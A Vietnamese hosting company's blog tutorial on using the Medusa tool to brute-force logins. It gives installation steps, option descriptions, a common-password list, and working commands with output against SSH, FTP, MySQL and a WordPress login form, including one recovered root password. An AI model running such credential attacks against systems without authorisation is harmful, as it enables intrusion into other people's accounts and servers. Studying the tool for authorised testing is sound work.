Brute force password sử dụng medusa

30/12/2020

Medusa là một công cụ được dùng để tấn công brute force password cố gắng truy cập hệ thống từ xa, nó hỗ trợ nhiều giao thức khác nhau. Trong bài viết này Onet sẽ hướng dẫn bạn cách sử dụng medusa để thực hiện một cuộc tấn công brute force.

Cài đặt

Cài đặt một số gói cần thiết

yum update -y yum install epel-release

Cài đặt medusa

yum install medusa

Sử dụng

Bạn có thể sử dụng lệnh

medusa -h

để xem các option của nó. Dưới đây là một số option mà tôi hay sử dungj:

  • -h : Địa chỉ của máy mục tiêu ta muốn thực hiện brute force ( IP hoặc domain )
  • -H : file chứa danh sách các máy mục tiêu
  • -u : chỉ ra username dùng để kiểm tra
  • -U : chỉ ra file chứa danh sách các username
  • -p : chỉ ra password dùng để kiểm tra
  • -P : chỉ ra file chứa danh sách password dùng để kiểm tra
  • -O : chỉ ra file để nó ghi log vào
  • -d : hiển thị toàn module mà medusa hỗ trợ
  • -M : chỉ ra module bạn muốn brute force ( dùng option -d bên trên để xem toàn bộ module được hỗ trợ nhưng bỏ qua phần đuôi .mod)
  • -m : truyền vào các tham số yêu cầu của các module. Option này có thể được sử dụng nhiều lần ( Vd: -m param1 -m param2)
  • -n : chỉ ra địa chỉ port
  • -s : cho phép sử dụng SSL
  • -f : nếu bạn sử đang tấn công cùng lúc cả username và password bạn sử dụng tùy chọn này thì câu lệnh sẽ dừng khi nó tìm thấy thông tin đăng nhập đầu tiên.
  • -F : nếu bạn đang thực hiện tấn công đồng thời nhiều máy option này sẽ dừng câu lệnh khi có 1 username và password của bất kì host nào được tìm thấy.
  • -q : chỉ ra các tham số sử dụng cho module được chỉ ra
  • -Z : nếu bạn đang thực hiện brute force với một dang sách mật khẩu và đã đến mật khảu thứ 100 là 100100 và vì một lý do nào đó bạn nhấn Ctrl C và thoát ra khỏi câu lệnh. Bây giờ bạn muốn scan tiếp từ mật khẩu này bạn sử dụng option -Z và chỉ ra mật khẩu lúc trước đã đến -Z 100100

Ví dụ

Hiển thị các module mà medusa hộ trợ

[root@medusa ~]# medusa -d Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>    Available modules in "." :    Available modules in "/usr/lib64/medusa/modules" :     + afp.mod : Brute force module for AFP sessions : version 2.0     + cvs.mod : Brute force module for CVS sessions : version 2.0     + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1     + http.mod : Brute force module for HTTP : version 2.0     + imap.mod : Brute force module for IMAP sessions : version 2.0     + mssql.mod : Brute force module for M$-SQL sessions : version 2.0     + mysql.mod : Brute force module for MySQL sessions : version 2.0     + nntp.mod : Brute force module for NNTP sessions : version 2.0     + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0     + pop3.mod : Brute force module for POP3 sessions : version 2.0     + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0     + rexec.mod : Brute force module for REXEC sessions : version 2.0     + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0     + rsh.mod : Brute force module for RSH sessions : version 2.0     + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0     + smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0     + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0     + snmp.mod : Brute force module for SNMP Community Strings : version 2.1     + ssh.mod : Brute force module for SSH v2 sessions : version 2.0     + svn.mod : Brute force module for Subversion sessions : version 2.0     + telnet.mod : Brute force module for telnet sessions : version 2.0     + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0     + vnc.mod : Brute force module for VNC sessions : version 2.1     + web-form.mod : Brute force module for web forms : version 2.1     + wrapper.mod : Generic Wrapper Module : version 2.0

Brute force một số dịch vụ

Tôi có một file chứa danh sách các mật khẩu như sau

[root@medusa ~]# cat passwd.txt  123456 123456789 123123 111111 123567 anhyeuem 1234567 0123456789 0123456 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123qwe 147258 123@

File chứa danh sách các địa chỉ các host

[root@medusa ~]# cat host.txt  10.10.35.124 10.10.35.127 demo.niemdt.com 192.168.1.5

Brute force mật khẩu ssh root đến máy có địa chỉ 10.10.35.127

medusa -h 10.10.35.127 -u root -P passwd.txt -M ssh

Kết quả trả về như sau

[root@medusa ~]# medusa -h 10.10.35.127 -u root -P passwd.txt -M ssh Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>  ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 24 complete) ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456789 (2 of 24 complete) ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123123 (3 of 24 complete) ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 111111 (4 of 24 complete) ACCOUNT CHECK: [ssh] Host: 10.10.35.127 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123567 (5 of 24 complete) ACCOUNT FOUND: [ssh] Host: 10.10.35.127 User: root Password: 123567 [SUCCESS]

Ta thấy root/123567 là thông tin đăng nhập của máy 10.10.35.127

Dịch vụ ftp

medusa -h 10.10.35.127 -u root -P passwd.txt -M ftp

Nếu một dịch vụ không sử dụng cổng mặc định thì ta có thể chỉ ra bằng cách sử dụng option -n .

medusa -h 10.10.35.127 -u admin -P passwd.txt -M mysql -n 5000

Brute force nhiều host cùng một lúc

medusa -H host.txt -u root -P passwd.txt -M ss

Brute force web login

Để brute force web login ta sử dụng module web-form

Xem các tham số có thể sử dụng cho module web-form

[root@medusa ~]# medusa -M web-form -q Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>  web-form.mod (2.1) Luciano Bello <luciano@linux.org.ar> :: Brute force module for web forms  Available module options:   USER-AGENT:?       User-agent value. Default: "I'm not Mozilla, I'm Ming Mong".   FORM:?             Target form to request. Default: "/"   DENY-SIGNAL:?      Authentication failure message. Attempt flagged as successful if text is not present in                      server response. Default: "Login incorrect"   CUSTOM-HEADER:?    Custom HTTP header.                      More headers can be defined by using this option several times.   FORM-DATA:<METHOD>?<FIELDS>                      Methods and fields to send to web service. Valid methods are GET and POST. The actual form                      data to be submitted should also be defined here. Specifically, the fields: username and                      password. The username field must be the first, followed by the password field.                      Default: "post?username=&password="  Usage example: "-M web-form -m USER-AGENT:"g3rg3 gerg" -m FORM:"webmail/index.php" -m DENY-SIGNAL:"deny!"                  -m FORM-DATA:"post?user=&pass=&submit=True" -m CUSTOM-HEADER:"Cookie: name=value" 

Tôi thử thực hiện brute force đăng nhập vào khung đăng nhập admin của wordpress

medusa -h wp.niemdt.com -u admin -P passwd.txt -M web-form -m FORM:"wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In" -m DENY-SIGNAL:"Lost your password?"

Trong đó :

  • wp.niemdt.com là địa chỉ của web site
  • module là web-form
  • FORM: địa chỉ của đường dẫn đến form đăng nhập. Với wordpress sẽ là wp-login.php. Nếu không chỉ ra thì mặc định sẽ là “/”
  • FORM-DATA: giá trị có dạng mothod?fields. Method có thể là get hoặc post. Field là tham số nhận giá trị truyền vào. Nếu bạn chưa biết các xác định thì tham khaỏ thêm bên dưới.
  • DENY-SIGNAL : Khi xác thực bị faild thì ta sẽ thấy một thông báo trả về. Ta xác định 1 đoạn text trong thông báo trả về mà chỉ thấy nó khi đăng nhập sai. Mỗi lần đăng nhập nó sẽ tìm đoạn text này. Nếu không tìm thấy thì nó sẽ xác định là bạn đã đăng nhập đúng

Kết quả trả về như sau

Ta thấy khi check đến password 123567 thì thấy có lỗi. Vì trạng thái code ở đây trả về là 302 chứng tỏ nó đã redicert đến trang khác. Trong woprdpress khi đăng nhập đúng nó sẽ được chuyển đến trang admin. Tôi dùng mật khẩu trên đăng nhập thi thấy thành công.

Cách xác định Field trong FORM-DATA

Bạn truy cập vào form đăng nhập sau đó nhấn F12 sau đó load lại trang web

Tìm file wp-login.php sau đó ấn vào xem chi tiết

Bên trên là một số trường hợp tôi hay sử dụng với medusa. Bạn có thể thm khảo những bài viết khác của chúng tôi tại đây. Bạn không nên sử dụng công cụ này cho những mục đích xấu.

ONET IDC thành lập vào năm 2012, là công ty chuyên nghiệp tại Việt Nam trong lĩnh vực cung cấp dịch vụ Hosting, VPS, máy chủ vật lý, dịch vụ Firewall Anti DDoS, SSL… Với 10 năm xây dựng và phát triển, ứng dụng nhiều công nghệ hiện đại, ONET IDC đã giúp hàng ngàn khách hàng tin tưởng lựa chọn, mang lại sự ổn định tuyệt đối cho website của khách hàng để thúc đẩy việc kinh doanh đạt được hiệu quả và thành công.
Bài viết liên quan

How to Install CentOS 8 Stream

CentOS 8 Stream is a rolling-release version of the newly released CentOS 8. You will get latest version of softwares and...
29/12/2020

Redmine – Hướng dẫn sử dụng Redmine để quản lý công việc (Phần 1)

Redmine về cơ bản chỉ là một ứng dụng giúp người ta quản lý công việc được tốt hơn. Nhưng...
30/12/2020

[Snort] Hướng dẫn đẩy log snort lên graylog

Ở bài trước thì các bạn đã biết được cách làm sao để cài đặt được snort lên trên máy centos...
30/12/2020